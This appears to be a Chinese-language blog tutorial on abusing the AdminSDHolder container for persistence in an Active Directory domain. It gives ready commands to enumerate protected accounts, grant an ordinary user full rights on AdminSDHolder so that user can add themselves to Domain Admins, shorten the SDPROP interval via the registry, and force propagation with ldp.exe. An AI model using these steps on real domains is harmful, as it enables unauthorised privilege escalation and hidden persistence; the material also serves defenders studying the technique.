zoukankan      html  css  js  c++  java
  • 域渗透中的AdminSDHolder

    简介

    AdminSDHolder是一个特殊的ad容器,具备一些默认安全权限,用于受保护的ad账户和组的模板
    
    active directory将采用AdminSDHolder对象的acl并定期将其应用于所有受保护的ad账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的
    
    如果能够修改AdminSDHolder对象的acl,那么修改的权限将自动应用于所有受保护的ad账户和组,能够进一步进行域环境的权限维持
    
    相应dn信息如下:
    CN=AdminSDHolder,CN=System,DC=rootkit,DC=org
    

    实际使用

    基本思路

    枚举受保护的ad账户和组中信息
    查找有价值的,排除曾经属于受保护的ad账户和组
    
    添加用户对AdminSDHolder的完全访问权限,默认等待60分钟,可以通过注册表进行修改,如下为修改60秒
    reg add hklmSYSTEMCurrentControlSetServicesNTDSParameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
    

    枚举受保护的ad账户和组中信息

    在server2000中引入,默认包含如下的组:
    Administrators
    Domain Admins
    Account Operators
    Backup Operators
    Domain Controllers
    Enterprise Admins
    Print Operators
    Replicator
    Read-only Domain Controllers
    Schema Admins
    Server Operators
    
    其中Administrators、Domain Admins、Enterprise Admins组对AdminSDHolder上的属性具有写权限
    
    受保护的ad账户和组的具备admincount属性值为1的特征,但是admincount为1并不能保证现在也是受保护ad账户和组,因为从受保护的组中删除后,用户自己的admincount属性的值其实也不会改变
    

    powerview

    下载地址:
    https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
    
    查询ad保护的域中所有的用户
    Get-NetUser -AdminCount
    

    只筛选出用户名
    Get-NetUser -AdminCount |select samaccountname
    

    查询域中受ad保护的所有组
    Get-netgroup -AdminCount
    

    adfind

    查询ad保护的域中所有的用户
    adfind.exe -b dc=rootkit,dc=org  -f "&(objectCategory=Person)(admincount=1)" -dn
    
    objectCategory=Person是因为域用户的objectCategory属性都为Person
    

    查询ad保护的域中的所有的组
    adfind.exe -b dc=rootkit,dc=org  -f "&(objectCategory=group)(admincount=1)" -dn
    

    ActiveDirectory

    查询ad保护的域中所有的用户和组
    Import-Module ActiveDirectory
    Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name
    

    操作AdminSDHolder对象的ACL

    查看

    powerview查询AdminSDHolder的acl
    Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System" |select IdentityReference
    

    增加

    增加AdminSDHolder的acl,添加yangy用户的完全访问权限,默认等待60分钟后将会获得受保护的ad账户和组的完全访问控制权限
    Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName yangy -Verbose -Rights All
    

    验证

    powerview查询确认添加成功
    

    确认具备完全控制权限
    

    能够实现什么?如下,确认当前为domain user,能够将自己加入到domain admins
    

    删除

    删除先前添加的acl
    Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rootkit,DC=org” -PrincipalIdentity  yangy -Rights All -Verbose
    

    补充SDPROP

    为了将可继承ace的更改传播到后代对象,域控将运行一个称为安全描述符传播其SDPROP的后台任务,通过修改对象的安全描述符或移动对象时将触发此任务
    

    修改

    已知修改了AdminSDHolder的acl后默认将等待60分钟生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder设置的安全权限重新标记acl
    
    先前已知的设置一分钟命令如下,范围在一分钟至一百二十分钟
    reg add hklmSYSTEMCurrentControlSetServicesNTDSParameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
    
    大型域环境不建议修改,当时间变短时候CPU处理LSASS的开销就会变大,容易导致系统出现卡顿
    

    手动运行

    进入ldp.exe
    

    如下进行连接
    

    连接处绑定为当前登录用户并点击确定
    

    进入修改
    

    浏览中进入修改,属性填写FixUpInheritance、值填写Yes,点击输入,点击运行
    

    最终效果如下
    

  • 相关阅读:
    mapreduce的组件介绍
    [转]编译hadoop
    hadoop-2.7.2-HA安装笔记
    Maven常用命令
    Maven教程
    [转]Mahout推荐算法API详解
    [转]hadoop新手错误解决方法
    mysql命令
    [java笔记]JDK的安装和配置
    Nginx常见错误解决办法
  • 原文地址:https://www.cnblogs.com/Yang34/p/14282328.html
Copyright © 2011-2022 走看看